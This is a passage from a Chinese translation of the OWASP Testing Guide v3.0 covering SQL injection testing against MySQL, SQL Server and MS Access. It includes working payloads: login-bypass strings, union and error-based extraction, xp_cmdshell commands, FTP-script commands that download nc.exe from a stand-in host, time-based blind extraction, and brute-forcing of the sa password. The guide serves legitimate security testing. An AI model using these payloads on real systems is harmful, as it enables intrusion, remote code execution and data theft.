本 地 MySQL 服 务 器 为 SQL 盲 注 入 提 供 一 套 有 用 的 功 能 。<br />

• 字 符 串 长 度<br />

LENGTH(str)<br />

• 从 指 定 字 符 串 中 提 取 子 串<br />

SUBSTRING(string, offset, #chars_returned)<br />

235


• 基 于 时 间 的 盲 注 :BENCHMARK 和 SLEEP<br />

BENCHMARK(#ofcicles,action_to_be_performed )<br />

当 Boolean 值 的 盲 注 入 不 能 产 生 任 何 结 果 时 ,Benchmark 功 能 可 以 使 用 于 进 行 定 时 攻 击 。<br />

参 见 SLEEP() (MySQL > 5.0.x) 替 代 指 标 。<br />

如 需 完 整 清 单 , 请 参 考 http://dev.mysql.com/doc/refman/5.0/en/functions.html<br />

参 考<br />

白 皮 书<br />

• Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf<br />

• Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt<br />

工 具<br />

• Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm<br />

• ilo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

• Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz<br />

4.8.5.3 SQL SERVER 测 试<br />

摘 要<br />

在 本 节 中 将 讨 论 一 些 利 用 Microsoft SQL Server 的 特 定 功 能 的 SQL Injection 技 术 。<br />

问 题 简 单 描 述<br />

在 组 建 SQL 查 询 时 使 用 没 有 进 行 过 充 分 限 制 或 过 滤 的 输 入 就 会 产 生 SQL Injection 漏 洞 。 使 用 动 态 SQL ( 通 过 连 接 运<br />

算 符 组 建 SQL 查 询 ) 能 产 生 这 些 弱 点 。 攻 击 者 能 使 用 SQL 注 入 访 问 SQL 服 务 器 并 在 用 户 权 限 下 执 行 用 于 连 接 数 据 库<br />

的 SQL 代 码 。<br />

正 如 在 SQL Injection 所 讲 述 的 , 利 用 SQL 注 入 需 要 两 件 事 : 一 个 入 口 点 和 可 以 进 入 的 漏 洞 。 任 何 经 过 应 用 程 序 处 理<br />

的 用 户 控 制 参 数 都 可 能 是 隐 藏 的 一 个 安 全 漏 洞 。 这 包 括 :<br />

• 在 查 询 字 符 串 中 的 应 用 程 序 参 数 ( 例 如 ,GET requests)<br />

• 包 含 在 POST 请 求 主 体 部 分 中 的 应 用 程 序 参 数<br />

• 浏 览 器 有 关 的 信 息 ( 例 如 ,user-agent, referrer)<br />

236


OWASP 测 试 指 南 v3.0<br />

• 主 机 的 相 关 信 息 ( 如 主 机 名 , IP )<br />

• 会 话 有 关 的 信 息 ( 如 用 户 ID ,cookie)<br />

Microsoft SQL server 有 一 些 独 特 的 特 点 导 致 需 要 为 此 应 用 需 要 特 别 定 制 开 发 漏 洞 的 方 法 。<br />

黑 盒 测 试 实 例<br />

SQL Server 特 征<br />

首 先 , 让 我 们 了 解 一 些 在 SQL 注 入 测 试 中 有 用 的 SQL Server 的 操 作 符 和 命 令 / 存 储 过 程 :<br />

• 评 论 操 作 符 : ——( 有 效 迫 使 查 询 忽 略 原 始 查 询 中 的 剩 余 部 分 ; 该 方 法 并 不 是 每 次 都 必 须 ;)<br />

• 查 询 分 隔 符 : ; ( 分 号 )<br />

• 实 用 存 储 过 程 包 括 :<br />

o<br />

[ xp_cmdshell ] 使 用 相 同 的 权 限 在 服 务 器 中 执 行 当 前 运 行 的 任 何 命 令 shell。 默 认 设 置 后 , 只 有<br />

sysadmin 系 统 管 理 员 可 以 使 用 它 , 但 在 SQL Server 2005 中 不 支 持 默 认 设 置 ( 使 用 sp_configure 可 以<br />

再 次 使 用 )<br />

o xp_regread 从 注 册 表 处 读 取 任 意 值 ( 未 公 开 扩 展 过 程 )<br />

o xp_regwrite 写 入 任 意 值 到 注 册 表 ( 未 公 开 扩 展 过 程 )<br />

o<br />

o<br />

[ sp_makewebtask ] 其 执 行 时 在 字 符 串 中 产 生 一 个 Windows 命 令 shell 和 通 行 证 。 任 何 输 出 都 返 回 文<br />

本 行 。 它 需 要 系 统 管 理 员 权 限 。<br />

[ xp_sendmail ] 发 送 一 封 电 子 邮 件 到 指 定 的 收 件 人 , 其 中 可 能 包 括 一 个 查 询 结 果 集 附 件 。 这 个 扩 展<br />

存 储 程 序 使 用 SQL Mail 来 发 送 邮 件 。<br />

让 我 们 看 看 一 些 使 用 上 述 功 能 的 特 定 的 SQL Server 攻 击 的 实 例 。 大 多 数 例 子 将 使 用 exec 功 能 。<br />

下 面 将 展 示 如 何 执 行 一 个 shell 命 令 , 可 以 在 可 浏 览 的 文 件 中 写 出 命 令 dir c:\inetpub 的 输 出 结 果 , 假 设 Web 服 务 器<br />

和 数 据 库 服 务 器 位 于 同 一 个 主 机 。 下 面 的 语 法 使 用 xp_cmdshell :<br />

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--<br />

另 外 , 我 们 可 以 使 用 sp_makewebtask:<br />

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--<br />

237


成 功 执 行 将 创 建 一 个 渗 透 测 试 者 可 浏 览 的 文 件 。 请 记 住 , sp_makewebtask 即 使 能 在 超 过 2005 的 SQL Server 版 本 中<br />

起 作 用 , 它 仍 然 是 过 时 的 并 在 将 来 可 能 会 被 删 除 。<br />

此 外 , SQL Server 的 内 置 功 能 和 环 境 变 量 是 非 常 有 用 的 。 下 面 的 使 用 功 能 db_name() 可 以 触 发 一 个 错 误 , 将 返 回 数<br />

据 库 名 称 :<br />

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())<br />

注 意 [convert] 的 使 用 :<br />

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )<br />

CONVERT 尝 试 将 db_name ( 字 符 串 ) 的 结 果 转 换 成 一 个 整 数 变 量 并 触 发 一 个 错 误 , 如 果 存 在 漏 洞 的 应 用 程 序 显 示<br />

了 来 错 误 , 则 能 包 含 数 据 库 名 称 。<br />

以 下 示 例 使 用 环 境 变 量 @@version , 结 合 "union select"—— 类 型 注 入 , 找 到 SQL Server 的 版 本 。<br />

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--<br />

下 面 是 同 样 的 攻 击 , 但 再 次 使 用 转 换 伎 俩 :<br />

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)<br />

通 过 利 用 一 个 SQL 注 入 攻 击 或 直 接 进 入 到 SQL 监 听 器 而 收 集 到 的 信 息 对 于 利 用 SQL Server 软 件 漏 洞 非 常 有 用 ,。<br />

下 面 案 例 通 过 不 同 的 入 口 点 利 用 SQL 注 入 漏 洞 。<br />

例 1: GET 请 求 的 SQL 注 入 测 试<br />

最 简 单 的 ( 有 时 是 最 有 意 义 的 ) 情 况 是 用 户 登 录 时 请 求 用 户 名 和 密 码 的 一 个 登 录 页 面 。 您 可 以 尝 试 输 入 以 下 字 符 串<br />

“ 'or'1 ' = '1 ” ( 不 含 双 引 号 ) :<br />

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1<br />

如 果 应 用 是 使 用 动 态 SQL 查 询 , 并 且 字 符 串 附 加 到 用 户 凭 证 验 证 查 询 , 这 可 能 导 致 成 功 的 登 录 到 该 应 用 程 序 。<br />

例 2: GET 请 求 SQL 注 入 测 试<br />

了 解 存 在 多 少 列 :<br />

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--<br />

例 3:POST 请 求 测 试<br />

SQL 注 入 ,HTTP POST 内 容 : email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

一 个 完 整 的 POST 实 例 :<br />

238


OWASP 测 试 指 南 v3.0<br />

POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1<br />

Host: vulnerable.web.app<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5<br />

Accept-Language: en-us,en;q=0.5<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http://vulnerable.web.app/forgotpass.asp<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-Length: 50<br />

email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

当 在 电 子 邮 件 字 段 中 输 入 ' ( 单 引 号 ) 字 符 时 获 得 的 错 误 信 息 是 :<br />

Microsoft OLE DB Provider for SQL Server error '80040e14'<br />

Unclosed quotation mark before the character string '.<br />

/forgotpass.asp, line 15<br />

例 4: 另 一 个 GET 实 例<br />

获 得 该 应 用 程 序 的 源 代 码<br />

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--<br />

例 5: 自 定 义 xp_cmdshell<br />

所 有 描 述 SQL Server 最 佳 安 全 做 法 的 书 籍 和 文 件 都 建 议 在 SQL Server 2000 中 禁 用 xp_cmdshell ( 在 SQL Server 2005<br />

中 是 默 认 禁 用 )。 然 而 , 如 果 我 们 有 系 统 管 理 员 权 限 ( 本 地 或 暴 力 破 解 系 统 管 理 员 密 码 , 见 下 文 ) , 我 们 往 往 可 以<br />

绕 过 这 个 限 制 。<br />

SQL Server 2000:<br />

• 如 果 已 禁 用 xp_cmdshell 和 sp_dropextendedproc , 我 们 可 以 简 单 地 注 入 下 面 的 代 码 :<br />

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'<br />

• 如 果 前 面 的 代 码 没 有 作 用 , 代 表 xp_log70.dll 被 移 除 或 者 删 除 。 这 种 情 况 下 我 们 可 以 使 用 以 下 代 码 进 行 注<br />

入 :<br />

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS<br />

239


DECLARE @result int, @OLEResult int, @RunResult int<br />

DECLARE @ShellID int<br />

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

IF @OLEResult 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)<br />

EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

IF @OLEResult 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)<br />

EXECUTE @OLEResult = sp_OADestroy @ShellID<br />

return @result<br />

这 段 代 码 由 Antonin Foller 编 写 ( 参 见 文 档 最 后 的 链 接 ), 使 用 sp_oacreate, sp_method 和 sp_destroy 创 建 一 个 新 的<br />

xp_cmdshell ( 直 到 他 们 禁 用 )。 使 用 前 , 我 们 需 要 删 除 我 们 创 建 的 第 一 个 xp_cmdshell ( 即 使 它 并 不 工 作 ), 否 则 两 个 声<br />

明 将 冲 突 。<br />

在 SQL Server 2005, 通 过 注 入 以 下 代 码 代 替 xp_cmdshell:<br />

master..sp_configure 'show advanced options',1<br />

reconfigure<br />

master..sp_configure 'xp_cmdshell',1<br />

reconfigure<br />

例 6: 参 考 / 用 户 - 代 理<br />

将 REFERER 头 设 置 为 :<br />

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--<br />

允 许 执 行 任 意 SQL 代 码 。 使 用 user - agent 头 设 置 情 况 相 同 :<br />

User-Agent: user_agent', 'some_ip'); [SQL CODE]--<br />

例 7: SQL Server 端 口 扫 描<br />

在 SQL Server 中 , 一 个 最 有 用 的 ( 至 少 在 渗 透 测 试 ) 命 令 是 OPENROWSET , 用 于 在 另 一 个 数 据 库 服 务 器 运 行 查 询 并<br />

检 索 结 果 。 渗 透 测 试 可 以 使 用 此 命 令 来 扫 描 目 标 网 络 中 的 其 它 机 器 的 端 口 , 注 入 以 下 查 询 :<br />

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--<br />

此 查 询 会 尝 试 连 接 到 的 端 口 P 的 地 址 x.y.w.z。 如 果 端 口 是 封 闭 的 , 将 返 回 下 面 的 消 息 :<br />

SQL Server does not exist or access denied<br />

240


OWASP 测 试 指 南 v3.0<br />

另 一 方 面 , 如 果 该 端 口 是 开 放 的 , 将 返 回 其 中 一 个 错 误 :<br />

General network error. Check your network documentation<br />

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about<br />

the error.<br />

当 然 , 错 误 信 息 并 不 总 是 可 用 。 如 果 是 这 种 情 况 , 我 们 可 以 使 用 的 响 应 时 间 , 以 理 解 所 发 生 的 事 情 : 一 个 封 闭 的 端<br />

口 , 所 消 耗 的 时 间 ( 在 这 个 例 子 中 是 5 秒 ), 结 果 是 一 个 开 放 的 端 口 将 返 回 正 确 的 值 。<br />

请 记 住 ,SQL Server 2000 中 默 认 启 用 OPENROWSET , 但 SQL Server 2005 中 禁 用 。<br />

例 8: 可 执 行 文 件 上 传<br />

一 旦 我 们 可 以 使 用 xp_cmdshell ( 无 论 是 本 地 的 或 自 定 义 的 ), 我 们 可 以 在 目 标 服 务 器 中 轻 松 上 传 可 执 行 文 件 。 一<br />

个 非 常 常 见 的 选 择 是 netcat.exe , 但 任 何 木 马 都 会 是 有 益 的 。 如 果 目 标 允 许 在 测 试 者 机 器 中 启 动 FTP 连 接 , 那 幺 所<br />

需 要 的 就 是 注 入 下 列 查 询 :<br />

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--<br />

exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--<br />

在 这 一 点 上 , 将 上 载 和 启 用 nc.exe。<br />

如 果 防 火 墙 不 允 许 执 行 FTP, 我 们 的 工 作 区 就 能 利 用 的 在 windows 机 器 中 默 认 安 装 的 Windows 调 试 器 , debug.exe<br />

。 Debug.exe 是 可 执 行 的 脚 本 , 并 能 通 过 执 行 适 当 的 脚 本 文 件 创 造 一 个 可 执 行 的 脚 本 文 件 。 我 们 需 要 做 的 是 将 可 执<br />

行 的 文 件 转 换 成 调 试 脚 本 ( 这 是 100 % 的 ASCII 文 件 )、 一 行 行 上 载 并 最 后 调 用 debug.exe。 创 建 这 样 的 调 用 文 件 有<br />

几 个 工 具 ( 如 :Ollie Whitehouse 的 makescr.exe 和 toolcrypt.org 的 dbgtool.exe ) 。 注 入 如 下 查 询 :<br />

exec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';--<br />

exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';--<br />

....<br />

exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';--<br />

exec master..xp_cmdshell 'debug.exe < debugscript.txt';--<br />

在 这 一 点 上 , 我 们 的 可 执 行 文 件 可 在 目 标 机 器 上 随 时 执 行 。<br />

存 在 一 些 能 自 动 运 行 这 一 过 程 的 工 具 。 最 著 名 的 是 在 Windows 和 Sqlninja 上 运 行 的 Bobcat 和 在 Unix 上 运 行 的<br />

Sqlninja ( 见 该 页 底 部 的 工 具 )<br />

241


获 取 不 显 示 的 信 息 ( 外 部 渠 道 (OOB<br />

OOB))<br />

当 Web 应 用 程 序 没 有 返 回 任 何 信 息 - 如 描 述 性 的 错 误 信 息 ( 参 见 盲 SQL 注 入 ), 并 不 是 所 有 信 息 都 会 丢 失 。 例 如 ,<br />

进 入 源 代 码 后 就 可 能 发 生 这 种 情 况 ( 例 如 , 由 于 Web 应 用 程 序 是 基 于 一 个 开 放 源 码 软 件 ) 。 那 么 渗 透 测 试 者 可 以<br />

充 分 利 用 在 web 应 用 程 序 中 离 线 发 现 的 所 有 的 SQL 注 入 漏 洞 。 虽 然 IPS 可 能 会 阻 止 一 些 攻 击 , 但 是 最 好 的 办 法 还 是<br />

进 行 如 下 操 作 : 为 该 目 的 创 建 测 试 环 境 并 进 行 攻 击 的 开 发 和 测 试 , 然 后 对 测 试 中 的 Web 应 用 程 序 执 行 这 些 攻 击 。<br />

外 部 渠 道 (OOB<br />

OOB) 攻 击 的 其 它 选 择 在 例 四 中 有 描 述 。<br />

SQL 盲 注 入 攻 击<br />

尝 试 和 错 误<br />

另 外 人 们 可 以 试 试 自 己 的 运 气 。 攻 击 者 可 能 假 设 在 web 应 用 程 序 中 存 在 盲 SQL 注 入 或 外 部 渠 道 (OOB)SQL 注 入 漏<br />

洞 。 随 后 他 会 选 择 一 个 攻 击 元 素 ( 例 如 , 一 个 web 入 口 ) , 在 该 渠 道 上 使 用 模 糊 向 量 ([ [ 1 ] ] ) 并 观 察 其 反 应 。 例<br />

如 , 查 看 是 否 Web 应 用 程 序 使 用 查 询 功 能 寻 找 一 本 书 。<br />

select * from books where title=text<br />

text entered by the user<br />

然 后 渗 透 测 试 者 可 能 输 入 文 本 : 'Bomba' OR 1=1-。 如 果 数 据 没 有 经 过 正 确 验 证 , 该 查 询 将 通 过 验 证 并 返 回 整 个 书 籍<br />

清 单 。 这 表 明 存 在 SQL 注 入 漏 洞 。 渗 透 测 试 者 可 以 稍 后 执 行 查 询 以 便 评 估 这 个 漏 洞 的 重 要 性 。<br />

不 止 显 示 一 个 错 误 消 息<br />

另 一 方 面 , 如 果 没 有 事 先 的 资 料 , 还 有 可 能 通 过 利 用 任 何 隐 蔽 通 道 进 行 攻 击 。 它 可 能 发 生 的 情 况 是 描 述 性 的 错 误 信<br />

息 已 停 止 , 但 错 误 信 息 提 供 了 一 些 信 息 。 例 如 :<br />

• 在 某 些 情 况 下 , Web 应 用 程 序 ( 实 际 上 是 Web 服 务 器 ) 可 能 会 返 回 传 统 500 : 内 部 服 务 器 错 误 。 也 就 是 说<br />

当 应 用 程 序 返 回 一 个 例 外 时 会 发 生 这 种 情 况 。 例 如 , 通 过 未 完 结 引 号 的 查 询 。<br />

• 虽 然 在 其 他 情 况 下 服 务 器 会 返 回 一 个 200 OK 的 信 息 , 但 Web 应 用 程 序 将 返 回 一 些 开 发 者 插 入 的 错 误 信 息<br />

Internal server error 或 bad data。<br />

这 一 些 信 息 可 能 足 够 了 解 通 过 web 应 用 程 序 和 调 整 漏 洞 如 何 构 架 动 态 SQL 查 询 。<br />

另 一 种 外 部 渠 道 (OOB) 是 通 过 HTTP 浏 览 文 件 输 出 结 果 。<br />

时 间 攻 击<br />

当 应 用 程 序 没 有 返 回 可 视 的 反 馈 时 , 存 在 盲 SQL 注 入 攻 击 的 可 能 性 : 测 量 Web 应 用 程 序 的 请 求 反 应 时 间 。Anley 在<br />

( [ 2 ] ) 中 描 述 了 这 类 攻 击 , 我 们 从 中 抽 取 了 一 些 案 例 。 使 用 waitfor delay 命 令 的 典 型 方 法 是 : 攻 击 者 要 检 查 如 果<br />

存 在 ”pubs” 样 本 数 据 库 , 他 将 注 入 下 面 的 命 令 :<br />

242


OWASP 测 试 指 南 v3.0<br />

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'<br />

根 据 查 询 需 要 返 回 的 时 间 不 同 , 我 们 将 知 道 答 案 。 事 实 上 , 这 里 存 在 两 种 情 况 : 一 个 SQL 注 入 漏 洞 和 一 个 允 许 渗 透<br />

测 试 者 从 每 个 查 询 中 获 悉 少 许 信 息 的 隐 蔽 通 道 。 从 此 , 使 用 多 个 查 询 ( 如 同 需 求 信 息 中 的 bits 一 样 多 ) 渗 透 测 试 者<br />

能 获 得 数 据 库 中 的 任 何 数 据 。 看 看 下 面 的 查 询<br />

declare @s varchar(8000)<br />

declare @i int<br />

select @s = db_name()<br />

select @i = [some value]<br />

if (select len(@s)) < @i waitfor delay '0:0:5'<br />

测 量 响 应 时 间 并 使 用 @i 不 同 值 , 我 们 可 以 推 导 出 当 前 数 据 库 的 名 称 的 长 度 , 然 后 使 用 下 列 查 询 开 始 提 前 名 称 :<br />

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'<br />

如 果 当 前 数 据 库 中 的 名 称 的 bit '@bit' of byte '@byte' 是 1, 那 幺 此 查 询 将 等 待 5 秒 钟 并 且 如 果 是 0 就 会 立 刻 返 回 。 嵌<br />

套 两 个 周 期 ( 一 个 用 于 @byte 和 一 个 用 于 @bit) , 我 们 将 能 够 提 取 整 个 信 息 。<br />

然 而 , 命 令 waitfor 可 能 无 法 使 用 ( 例 如 , 因 为 IPS / Web 应 用 防 火 墙 将 其 过 滤 )。 这 并 不 意 味 着 不 能 执 行 盲 SQL 注<br />

入 攻 击 。 渗 透 测 试 者 必 须 使 用 所 有 时 间 进 行 没 有 被 过 滤 的 操 作 。 例 如<br />

declare @i int select @i = 0<br />

while @i < 0xaffff begin<br />

select @i = @i + 1<br />

end<br />

版 本 和 漏 洞 检 查<br />

同 样 的 时 间 攻 击 方 法 也 可 用 于 了 解 我 们 正 在 处 理 的 SQL Server 的 版 本 。 当 然 , 我 们 将 充 分 利 用 内 置 的 @ @ 版 本 变<br />

量 。 考 虑 以 下 查 询 :<br />

select @@version<br />

SQL Server 2005 中 , 它 将 返 回 :<br />

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <br />

在 2005 的 字 符 串 部 分 涵 盖 了 从 第 22 到 第 25 个 字 符 。 因 此 , 查 询 注 入 可 以 如 下 :<br />

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'<br />

如 果 @@version 变 量 第 25 个 字 符 是 5, 那 幺 该 这 种 查 询 将 等 待 5 秒 钟 并 提 醒 我 们 所 使 用 的 是 SQL Server 2005 。 如 果<br />

查 询 立 即 返 回 , 我 们 可 能 是 处 理 的 是 SQL Server 2000, 同 时 其 他 类 似 查 询 将 有 助 于 清 除 所 有 疑 虑 。<br />

243


例 9: 暴 力 破 解 管 理 密 码<br />

为 了 暴 力 破 解 系 统 管 理 员 密 码 , 我 们 可 以 利 用 下 面 事 实 :OPENROWSET 需 要 适 当 凭 据 才 能 成 功 执 行 连 接 , 同 时 这 种<br />

连 接 能 够 “ 循 环 ” 到 本 地 数 据 库 服 务 器 。 将 这 些 特 性 和 基 于 反 应 时 间 的 推 理 注 入 结 合 , 我 们 可 以 注 入 下 面 的 代 码 :<br />

select * from OPENROWSET('SQLOLEDB','';'sa';'','select 1;waitfor delay ''0:0:5'' ')<br />

我 们 这 样 做 的 目 的 是 使 用 “sa” 和 “ “ 作 为 凭 据 尝 试 连 接 到 本 地 数 据 库 ( 由 ' SQLOLEDB ' 后 的 空 字 段 指 定 )。<br />

如 果 密 码 是 正 确 的 并 且 连 接 成 功 , 将 执 行 查 询 并 使 数 据 库 等 待 5 秒 ( 并 返 回 一 个 值 , 因 为 OPENROWSET 预 计 至 少 一<br />

栏 ) 。 从 词 条 中 取 回 候 选 密 码 并 测 量 每 一 个 连 接 所 需 要 的 时 间 , 我 们 可 以 尝 试 猜 出 的 密 码 是 否 正 确 。 在 “ 数 据 挖 掘<br />

与 SQL 注 入 和 推 理 ” , 专 家 David Litchfield 通 过 注 入 一 段 代 码 进 一 步 推 动 这 一 技 术 , 以 便 使 用 数 据 库 服 务 器 本 身 的<br />

CPU 资 源 暴 力 破 解 系 统 管 理 员 密 码 。 一 旦 我 们 拥 有 系 统 管 理 员 密 码 , 我 们 有 两 个 选 择 :<br />

• 使 用 OPENROWSET 注 入 下 列 所 有 查 询 , 以 便 使 用 系 统 管 理 员 权 限<br />

• 使 用 sp_addsrvrolemember 将 当 前 用 户 加 入 到 系 统 管 理 员 使 用 组 。 使 用 推 理 注 入 提 取 当 前 用 户 名 而 不 提 取 变<br />

量 system_user。<br />

请 记 住 , OPENROWSET 可 在 SQL Server 2000 中 访 问 所 有 用 户 , 但 在 SQL Server 2005 中 仅 限 于 管 理 员 帐 户 。<br />

参 考<br />

白 皮 书<br />

• David Litchfield: "Data-mining with SQL Injection and Inference" -<br />

http://www.nextgenss.com/research/papers/sqlinference.pdf<br />

• Chris Anley, "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf<br />

• Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html<br />

• Alexander Chigrik: "Useful undocumented extended stored procedures" -<br />

http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm<br />

• Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell<br />

• Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" -<br />

http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/<br />

• SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx<br />

工 具<br />

• Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]<br />

244


OWASP 测 试 指 南 v3.0<br />

• Northern Monkee: [Bobcat]<br />

• icesurfer: SQL Server Takeover Tool - [sqlninja]<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

4.8.5.4 MS ACCESS 检 测<br />

问 题 简 短 描 述<br />

概 述<br />

本 文 介 绍 了 当 后 端 数 据 库 是 MS Access 时 如 何 利 用 SQL 注 入 漏 洞 。 尤 其 是 文 章 的 重 点 在 于 如 何 利 用 盲 SQL 注 入 。 在<br />

初 步 介 绍 一 些 有 助 于 利 用 SQL 注 入 漏 洞 的 典 型 函 数 后 , 我 们 将 讨 论 一 种 利 用 盲 SQL 注 入 的 方 法 。<br />

黑 盒 检 测 实 例<br />

标 准 检 测<br />

首 先 , 让 我 们 看 一 个 在 检 测 执 行 中 可 能 遇 到 的 典 型 的 SQL 错 误 样 例 :<br />

Fatal error: Uncaught exception 'com_exception' with message 'Source:<br />

Microsoft JET Database Engine<br />

描 述<br />

这 意 味 着 , 也 许 我 们 正 在 检 测 一 个 以 MS Access 数 据 库 为 后 端 的 应 用 程 序 。<br />

不 幸 的 是 ,MS Access 不 支 持 任 何 SQL 查 询 中 的 注 释 字 符 , 因 此 无 法 使 用 插 入 字 符 /* 或 -- 或 # 的 方 法 截 断 查 询 。 另 一<br />

方 面 , 幸 运 的 是 , 我 们 可 以 利 用 NULL 字 符 绕 过 这 个 限 制 。 如 果 我 们 在 查 询 语 句 中 的 一 些 地 方 插 入 字 符 % 00, 所 有<br />

在 NULL 字 符 后 面 的 字 符 将 被 忽 略 。 这 是 在 内 部 实 现 中 , 因 为 字 符 串 是 以 NULL 结 尾 的 。 然 而 ,NULL 字 符 有 时 也 会<br />

产 生 问 题 。 我 们 可 以 注 意 到 , 还 有 另 一 种 值 也 可 用 于 截 断 查 询 语 句 。 这 个 字 符 是 0x16 ( 在 URL 编 码 格 式 是 %16),<br />

即 十 进 制 中 的 22。 因 此 , 如 果 我 们 有 以 下 查 询 :<br />

SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'<br />

我 们 可 以 使 用 以 下 两 个 URL 字 符 串 来 截 断 查 询 :<br />

http://www.example.com/index.php?user=admin'%00&pass=foo<br />

http://www.example.com/index.php?user=admin'%16&pass=foo<br />

枚 举 属 性<br />

245


为 了 枚 举 查 询 的 属 性 , 可 以 使 用 用 于 数 据 库 MS SQL Server 的 同 样 的 方 法 。 总 之 , 我 们 可 以 通 过 错 误 信 息 来 获 得 属<br />

性 的 名 称 。 例 如 , 通 过 ' 字 符 得 到 的 错 误 信 息 , 我 们 可 以 知 道 某 个 参 数 的 存 在 。 利 用 下 面 的 查 询 我 们 也 能 知 道 查 询 中<br />

其 余 属 性 的 名 字 :<br />

' GROUP BY Id%00<br />

在 得 到 的 错 误 信 息 中 , 我 们 可 以 看 到 下 一 个 属 性 的 名 字 被 显 示 出 来 。 重 复 使 用 这 个 方 法 , 直 到 取 得 所 有 属 性 的 名<br />

字 。 如 果 我 们 连 一 个 属 性 的 名 字 都 不 知 道 , 我 们 可 以 插 入 一 个 虚 构 的 列 名 。 就 像 变 魔 术 一 样 , 我 们 可 以 获 得 第 一 个<br />

属 性 的 名 字 。<br />

获 得 数 据 库 模 型<br />

存 在 于 MS Access 中 的 一 些 表 格 可 用 来 获 得 其 它 在 特 定 的 数 据 库 中 的 表 格 名 字 。 在 默 认 配 置 中 , 这 些 表 格 是 无 法 访<br />

问 的 。 但 我 们 可 以 试 着 访 问 。 这 些 表 格 的 名 字 是 :<br />

• MSysObjects<br />

• MSysACEs<br />

• MSysAccessXML<br />

例 如 , 如 果 存 在 一 个 union SQL 注 入 漏 洞 , 您 可 以 使 用 以 下 查 询 :<br />

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00<br />

以 上 这 些 就 是 可 以 在 MS Access 上 利 用 SQL 注 入 漏 洞 的 主 要 步 骤 。 还 有 一 些 用 于 开 发 自 定 义 查 询 的 函 数 也 很 有 用 -。<br />

其 中 一 些 函 数 是 :<br />

• ASC: 获 取 一 个 输 入 字 符 的 ASCII 值<br />

• CHR: 获 取 输 入 的 ASCII 值 所 代 表 的 字 符 -<br />

• LEN: 返 回 作 为 参 数 传 递 来 的 字 符 串 的 长 度<br />

